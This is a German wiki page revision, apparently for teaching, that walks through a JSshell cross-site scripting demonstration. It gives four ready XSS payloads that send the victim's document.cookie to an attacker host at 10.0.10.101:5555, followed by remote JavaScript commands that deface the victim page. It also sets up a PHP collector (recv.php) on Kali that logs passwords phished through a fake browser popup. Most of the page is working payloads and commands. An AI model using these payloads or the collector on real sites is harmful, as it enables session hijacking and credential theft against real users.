Jsshell: Unterschied zwischen den Versionen

Aus Xinux Wiki
Zur Navigation springen Zur Suche springen
Zeile 82: Zeile 82:
 
; Sammler anlegen
 
; Sammler anlegen
 
*cat /var/www/html/recv.php
 
*cat /var/www/html/recv.php
 +
 
  <?php
 
  <?php
 +
error_reporting(E_ALL);
 +
ini_set('display_errors', 1);
 +
 
  $pw = $_GET['pw'] ?? '';
 
  $pw = $_GET['pw'] ?? '';
  $fh = fopen("CollectedSessions.txt","a");
+
   
fwrite($fh, $pw."\n");
+
file_put_contents(
  fclose($fh);
+
  __DIR__ . '/CollectedSessions.txt',
 +
  $pw . PHP_EOL,
 +
  FILE_APPEND
 +
  );
 
  ?>
 
  ?>
  

Version vom 19. Januar 2026, 19:14 Uhr

Vorarbeiten zum Demonstrieren

  • Opfer-Browser vorbereiten ==
about
config
  • security.mixed_content.block_active_content → false
  • security.mixed_content.block_display_content → false
  • security.fileuri.strict_origin_policy → false


git clone

start

  • ./jsh.py -g -p 5555 -s 10.0.10.101
    __
  |(_  _ |_  _  |  |
\_|__)_> | |(/_ |  |
                      v3.1 

Payloads:  
 - SVG: <svg/onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
 - SCRIPT: <script>setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)</script>
 - IMG: <img src=x onerror=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie},1010)>
 - BODY: <body onload=setInterval(function(){with(document)body.appendChild(createElement("script")).src="//10.0.10.101:5555/?"+document.cookie}></body>

Listening on [any] 5555 for incoming JS shell ...

Payload

  • Payload muss ins Eingabefeld

Generierter Link

Die Shell

Listening on [any] 5555 for incoming JS shell ...
Got JS shell from [10.0.10.101] port 53146 to orville 5555
>>> 

Lebenszeichen

  • confirm('JSshell live')
Erwartung

Popup erscheint im Opfer-Browser.

Seite sichtbar verändern

  • document.body.style.background='red'
Erwartung

Hintergrund der Opferseite wird rot.

Text einblenden

  • document.body.innerHTML='OWNED'
Erwartung

Opferseite zeigt nur noch OWNED.

Aktuelle URL anzeigen

  • confirm(document.location.href)
Erwartung

Popup mit der aktuell aufgerufenen Opfer-URL.

Cookie anzeigen (falls vorhanden)

  • confirm(document.cookie)
Erwartung

Popup mit Cookie-Inhalt oder leerer String.



Passwörter klauen

Auf Kali

Apache + PHP installieren
  • apt update
  • apt install -y apache2 php libapache2-mod-php
Apache starten
  • systemctl enable --now apache2
Sammler anlegen
  • cat /var/www/html/recv.php
<?php
error_reporting(E_ALL);
ini_set('display_errors', 1);

$pw = $_GET['pw'] ?? ;

file_put_contents(
  __DIR__ . '/CollectedSessions.txt',
  $pw . PHP_EOL,
  FILE_APPEND
);
?>
  • chmod 644 /var/www/html/recv.php
  • touch /var/www/html/CollectedSessions.txt
  • chmod 666 /var/www/html/CollectedSessions.txt

Die Shell

Listening on [any] 5555 for incoming JS shell ...
Got JS shell from [Victim-IP] port XXXXX to kali 5555
>>> 
Passwort abfragen und senden

Beim Opfer

Popup erscheint, Benutzer gibt Passwort ein.

Auf Kali

  • tail -f /var/www/html/CollectedSessions.txt
Erwartung

Passwörter erscheinen zeilenweise in der Datei.

Links